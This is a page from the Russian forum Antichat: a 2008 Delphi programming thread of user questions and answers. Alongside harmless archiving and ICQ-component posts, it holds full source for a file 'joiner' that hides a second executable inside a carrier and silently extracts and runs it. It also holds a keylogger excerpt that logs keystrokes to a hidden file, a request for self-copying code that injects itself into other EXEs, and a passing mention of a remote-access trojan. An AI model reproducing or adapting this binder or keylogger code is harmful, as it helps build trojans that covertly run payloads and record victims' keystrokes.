ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1291  
Старый 04.04.2008, 11:39
dos999
Познающий
Регистрация: 15.02.2008
Сообщений: 98
Провел на форуме:
183980

Репутация: 50
По умолчанию

Устанавливаешь ZipForge и как то так =)

Код:
 procedure Arhived(Dir, inFile, outFile: String);
var
  arh: TZipForge;
begin
  arh := TZipForge.Create(nil);
  with arh do
    try
      FileName := Dir + outFile;
      BaseDir := Dir;
      Active := true;
      AddFiles(inFile);
      Active := False;
    finally
      Free;
    end;
end;
А вообще у ZipForge хороший ман... там всё есть
 

  #1292  
Старый 04.04.2008, 16:44
Manoff
Познающий
Регистрация: 15.12.2007
Сообщений: 38
Провел на форуме:
71979

Репутация: 18
Отправить сообщение для Manoff с помощью ICQ
Exclamation

А как в Делфи написать прогу , которая записывала бы себя в ЕХЕ и при запуске этого ЕХЕ запускалась бы старая и прога и та , которая переписывает себя ?
 

  #1293  
Старый 04.04.2008, 19:09
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

ты же процитировал, как это не видишь? о_О

P.S. system("rar a -m5 arch.rar files")
 

  #1294  
Старый 04.04.2008, 19:40
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию

Вот откопал исходники примитивного склейщика 2 файлов!
Код:
Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
const
mSize=56789;//Размер программы-носителя к которой будет крениться файл
fSize=12345;//Размер крепимого файла
//Эти два значения мы устанавливаем опытным путем и записываем сами
type
MnBuf=array[1..mSize] of Char;
FlBuf=array[1..fSize] of Char;
LaBuf=array[1..8] of Char;
var
mBuf : MnBuf;
fBuf : FlBuf;
lBuf : LaBuf;
f : File of Char;
begin
FileMode:=0;//Устанавливаем режим работы с файлами “Только чтение”
AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
Reset(f);//Открываем себя
Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
//В DOS-заголовке ехе-файла на имеются зарезервированные места,
//которые пока их не заняли мы можем свободно использовать
//на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
if LBuf=’E}{eC()M’ then
//Если в этом месте наша метка значит файл уже приклеин и нам необходимо
//его из себя извлечь и по необходимости запустить в выбраном режиме отображения
//Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
// и не более 20 байт в позиции 28h… Мы находимся на втором уровне
Begin
Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
CloseFile(f);//Закрываем себя
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
{$I-}//Отключаем проверку ошибок ввода вывода
AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
ReWrite(f);//Создаем с перезаписью пустой файл
BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
CloseFile(f);//Закрываем себя
{$I+}//Включаем проверку ошибок ввода вывода
if fStart then WinExec(PChar(fPath+fName+’ ‘+fCMD),fShow);
//Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
end
else
//Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
//Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
begin
{$I-}//Отключаем проверку ошибок ввода вывода
Seek(f,0);//Переходим на позицию начала своего файла
BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
CloseFile(f);//Закрываем себя
AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
Reset(f);//Открываем его
BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
CloseFile(f);//Закрываем клеимый файл
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
AssignFile(f,paramstr(0)+’.ExE’);//Ассоциируем переменную f с путём к файлу с именем,
//как у файла носителя + .ЕхЕ
ReWrite(f);//Создаём новый пустой файл
BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
seek(f,$1C);//Переходим на позицию установки метки
LBuf:=’E}{eC()M’;//Присваивем переменной значение метки
BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
CloseFile(f);//Закрываем файл
{$I+}//Включаем проверку ошибок ввода вывода
end;
end;
begin
//Применение процедуры Joiner:
//fName - Имя клеимого файла
//fPath - Папка распаковки файла
//fCMD - командная строка запуска файла (если есть)
//fstart - true - запускаем, false - не запускаем, извлечённый файл
//fShow - Режим отображения запущеного файла например:

//SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
//SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
//SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
//SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
//SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
//SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
//SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
//SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
//SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
//SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
//SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
//SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.
======================================
Так же можешь использовать Asm вставки!
 

  #1295  
Старый 05.04.2008, 21:18
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Вот решил разобратьсяв коде кейлогера
взят из этой темы(последний пост):
ССЫЛКА
и возник один вопрос:
как сделать так, чтобы файл, в который записывается лог клавиш был доступен для чтения, а то все мои попытки не увенчались успехом (нужно чтобы была возможность считывать в стринговом формате)?Вот отрывок кода:
Код:
type
 UINT=Cardinal;
 DWORD=Cardinal;
 SHORT=SmallInt;
 HKL = LongWord;
 HKEY = type LongWord;
 THandle = Cardinal;
 HWND=Cardinal;
 BOOL = Boolean;
 _SYSTEMTIME = record
    wYear: Word;
    wMonth: Word;
    wDayOfWeek: Word;
    wDay: Word;
    wHour: Word;
    wMinute: Word;
    wSecond: Word;
    wMilliseconds: Word;
  end;
TSystemTime = _SYSTEMTIME;
 MMRESULT = UINT;
   TOverLapped = record
    Internal: LongWord;
    InternalHigh: LongWord;
    Offset: LongWord;
    OffsetHigh: LongWord;
    hEvent: LongWord;
  end;
  TSecurityAttributes = record
    nLength: LongWord;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: LongBool;
  end;
  POverlapped = ^TOverlapped;
  PSecurityAttributes = ^TSecurityAttributes;
  TFNTimeCallBack = procedure(uTimerID, uMessage: UINT;
    dwUser, dw1, dw2: DWORD) stdcall;



var
TIDA:Integer;
  TID:Integer;
  loggern:pchar;
  wintext:array[0..144]of char;
  _temp:^cardinal;
  wrote:longWord;
  buffer:array[0..40000] of char;
  FH:THandle;
  acWindow:HWND;
  path:string;

  function MakeWord(A, B: Byte): Word;
begin
  Result := A or B shl 8;
end;

function RegCreateKey(hKey: HKEY; lpSubKey: PChar;
  var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA';
function RegSetValueEx(hKey: HKEY; lpValueName: PChar;
  Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA';
function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey';
function GetKeyboardLayout(dwLayout: DWORD): HKL; stdcall; external 'user32' name 'GetKeyboardLayout';
function GetWindowThreadProcessId(hWnd: HWND; lpdwProcessId: Pointer): DWORD; stdcall;  external 'user32' name 'GetWindowThreadProcessId';
function GetForegroundWindow: HWND; stdcall; external 'user32' name 'GetForegroundWindow';
function GetAsyncKeyState(vKey: Integer): SHORT; stdcall; external 'user32' name 'GetAsyncKeyState';
function GetKeyState(nVirtKey: Integer): SHORT; stdcall; external 'user32' name 'GetKeyState';
function timeSetEvent(uDelay, uResolution: UINT;
  lpFunction: TFNTimeCallBack; dwUser: DWORD; uFlags: UINT): MMRESULT; stdcall; external 'winmm.dll' name 'timeSetEvent';
function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer; stdcall; external 'user32' name 'GetWindowTextA';
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: LongWord;
  lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: LongWord;
  hTemplateFile: LongWord): LongWord; stdcall;
        external 'kernel32.dll' name 'CreateFileA';
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint;
  lpDistanceToMoveHigh: Pointer; dwMoveMethod: DWORD): DWORD; stdcall; external 'kernel32' name 'SetFilePointer';
function GetFileSize(hFile: THandle; lpFileSizeHigh: Pointer): DWORD; stdcall; external 'kernel32' name 'GetFileSize';
function WriteFile(hFile: LongWord; const Buffer; nNumberOfBytesToWrite: LongWord;
  var lpNumberOfBytesWritten: LongWord; lpOverlapped: POverlapped): LongBool; stdcall;
        external 'kernel32.dll' name 'WriteFile';
function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; stdcall; external 'kernel32' name 'SetFileAttributesA';
function CloseHandle(hObject: THandle): BOOL; stdcall; external 'kernel32' name 'CloseHandle';
function lstrlen(lpString: PChar): Integer; stdcall; external 'kernel32' name 'lstrlenA';
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcpyA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcatA';
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external 'kernel32' name 'GetWindowsDirectoryA';
function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall; external 'kernel32' name 'GetTempPathA';
procedure Sleep(milliseconds: Cardinal); stdcall; external 'kernel32.dll' name 'Sleep';
procedure GetSystemTime(var lpSystemTime: TSystemTime); stdcall; external 'kernel32' name 'GetSystemTime';
//...................
//...................
path:='syslog.txt';
FH:=CreateFile(Pchar(path),$40000000,$00000002,nil,2,0,0);
SetFileAttributes(Pchar(path),$00000002);
 

  #1296  
Старый 05.04.2008, 21:45
rasl
Новичок
Регистрация: 29.02.2008
Сообщений: 25
Провел на форуме:
140244

Репутация: 6
По умолчанию

Dr.KoD
http://msdn2.microsoft.com/en-us/library/aa363858(VS.85).aspx
FH:=CreateFile(Pchar(path),$40000000,$00000002,nil ,2,0,0);
лень разбираца но вроде какой то параметр отвечает за атрибут файла системный скрытый для чтения и т д
dwFlagsAndAttributes

HANDLE WINAPI CreateFile(
__in LPCTSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes, - вот это надо менять
__in_opt HANDLE hTemplateFile

Attribute Meaning

FILE_ATTRIBUTE_ARCHIVE
32
0x20
The file should be archived. Applications use this attribute to mark files for backup or removal.

FILE_ATTRIBUTE_ENCRYPTED
16384
0x4000
The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories. For more information, see File Encryption.

This flag has no effect if FILE_ATTRIBUTE_SYSTEM is also specified.

FILE_ATTRIBUTE_HIDDEN
2
0x2
The file is hidden. Do not include it in an ordinary directory listing.

FILE_ATTRIBUTE_NORMAL
128
0x80
The file does not have other attributes set. This attribute is valid only if used alone.

FILE_ATTRIBUTE_OFFLINE
4096
0x1000
The data of a file is not immediately available. This attribute indicates that file data is physically moved to offline storage. This attribute is used by Remote Storage, the hierarchical storage management software. Applications should not arbitrarily change this attribute.

FILE_ATTRIBUTE_READONLY
1
0x1
The file is read only. Applications can read the file, but cannot write to or delete it.

FILE_ATTRIBUTE_SYSTEM
4
0x4
The file is part of or used exclusively by an operating system.

FILE_ATTRIBUTE_TEMPORARY
256
0x100
The file is being used for temporary storage. File systems avoid writing data back to mass storage if sufficient cache memory is available, because an application deletes a temporary file after a handle is closed. In that case, the system can entirely avoid writing the data. Otherwise, the data is written after the handle is closed.
);
вроде че то типо того или я непонял )

Последний раз редактировалось rasl; 05.04.2008 в 21:52..
 

  #1297  
Старый 05.04.2008, 22:22
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Блин в самый главный справочник забыл заглянуть, все спасиб разобрался.
 

  #1298  
Старый 09.04.2008, 07:08
FIND_ERROR
Познающий
Регистрация: 30.04.2007
Сообщений: 77
Провел на форуме:
393625

Репутация: 50
Отправить сообщение для FIND_ERROR с помощью ICQ
По умолчанию

глюк с TICQClient а именно в использовании функции
SetSelfInfoGeneral неменяет инфу ХЗ почему.
Подключаюсь пытаюсь сменить инфу но увы, некаких ошибок невыдаёт мож кто уже сталкивался и знает как решить даную проблему! зарание благгодарен!
 

  #1299  
Старый 09.04.2008, 14:55
ForNeVeR
Участник форума
Регистрация: 01.05.2006
Сообщений: 216
Провел на форуме:
287212

Репутация: 62
По умолчанию

Дело, возможно, в том, что компонент писался ОЧЕНЬ давно, с тех пор на серверах Icq было много изменений. Например, старая версия крысы (созданная на базе именно этого компонента) у меня тоже инфу сохраняла некорректно. Тут можно только поискать более свежую версию компонента (хотя сам автор его забросил, есть альтернативные сборки).
 

  #1300  
Старый 09.04.2008, 16:17
FIND_ERROR
Познающий
Регистрация: 30.04.2007
Сообщений: 77
Провел на форуме:
393625

Репутация: 50
Отправить сообщение для FIND_ERROR с помощью ICQ
По умолчанию

версия самая свежая что на его саите, то что нашёл из альтернативных сборок тоже инфу неменяет... может есть какой другой способ? или имеються ссылки на рабочий компонент ?
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ